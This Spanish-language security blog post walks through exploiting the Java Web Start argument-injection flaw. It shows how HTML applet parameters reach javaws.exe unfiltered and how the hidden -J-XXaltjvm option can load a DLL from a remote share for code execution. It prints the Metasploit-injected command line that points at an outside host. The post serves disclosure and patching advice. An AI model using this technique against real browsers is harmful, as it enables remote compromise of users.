Explotando Java Web Start

En nuestro post de ayer comentabamos con detalle la vulnerabilidad en Java Web Start encontrada recientemente por Ruben Santamarta y Tavis Ormandy, pero nos quedabamos con un par de preguntas: ¿Podemos controlar el contenido de esas variables que son utilizadas para formar la llamada al binario sin ningún tipo de filtraro? ¿Cómo lo haríamos?

Pues bien, ¡vamos allá!

Según se puede leer en la documentación oficial de Java sobre como utilizar los tags Applet, Embed y Object, es posible establecer como parámetros los valores de estas variables que comentabamos en nuestro post anterior. Como resultado, podriamos contruir un código HTML que, al ser visitado por nuestro objetivo, ejecutara el Applet Java que le pasaramos, con las opciones que nosotros queramos, debido a esta vulnerabilidad.

Vamos a comprobarlo con este pequeño código de ejemplo:

Hemos incluido en las opciones todo tipo de caracteres que nos pudieran resultar útiles a la hora de la explotación, como guiones, comillas y tuberías, para comprobar si efectivamente las cadenas que introduzcamos en este código HTML van a utilizarse tal cual en la llamada al binario de Java, sin ningún tipo de filtrado.

Para comprobar exactamente como es la llamada a la función, nos hemos hecho un sencillo programita en C que sencillamente lo que hace es capturar las opciones con las que ha sido llamado y las guarda en un fichero de texto, a modo de log:

(Disclaimer: Este código ha sido desarrollado de forma rápida para realizar la demostración sin tener en consideración las buenas prácticas de programación y seguridad. NO utilizar en entornos diferentes a pruebas ni de ninguna manera en la que no se controle los parámetros con lo que es llamado el binario)

Este código, una vez compilado, ha sustituido al binario javaws.exe, para de esta manera poder disponer de un registro en el que veremos exactamente como han sido las llamadas, obteniendo el siguiente resultado:

Como podemos ver, esta vulnerabilidad nos va a permitir establecer las opciones que queramos en la llamada a javaws.exe, aunque no realizar directamente una ejecución de comandos, ya que el binario es llamado mediante la función CreateProcess, y no lanzado directamente a una shell de comandos. No obstante, pegando un vistazo a las opciones que nos permite utilizar javaws.exe, tenemos las siguientes:

Mediante la opción "-J" podemos establecer parámetros que serán enviados directamente a la máquina virtual, incluida una opción oculta de la máquina virtual y que no aparece en los menús de ayuda, llamada -XXaltjvm, que nos permitiría la inclusión de una librería alternativa.

¡BINGO! Si podemos incluir una librería podemos crear una librería que sea accesible a través de la red y que realice la ejecución del payload que queramos. Luego solo hay que pasar los parámetros adecuados a través del HTML que veíamos antes para que nuestra DLL sea cargada y... tachan! ejecución remota de código.

Para realizar todo esto de una forma cómoda, existe un plugin de Metasploit llamado java_ws_arginject_altjvm que podemos utilizar, veamos con que opciones:

Una vez lanzado el exploit, un servidor HTTP será lanzado a la escucha en el puerto 80, esperando conexiones a las que les devolverá el código HTML que explota la vulnerabilidad, obteniendo así el control de la máquina:

Si sustituimos de nuevo el binario javaws.exe por nuestro binario que registra los parámetros, obtenemos que el exploit de Metasploit está introduciendo los siguientes parámetros:

javaws.exe -docbase -J-XXaltjvm=\\172.16.24.150\aleatorio1 aleatorio2.jnlp

Esta vulnerabilidad es considerada de criticidad máxima, por lo que se recomienda a todos los usuarios de prácticamente cualquier sistema operativo que actualicen su versión de Java a la última disponible, y se aseguren que esta es al menos la 1.6.0_20, ya que esta es la versión en la que se introdujo el parche de esta vulnerabilidad. Más información en las release notes.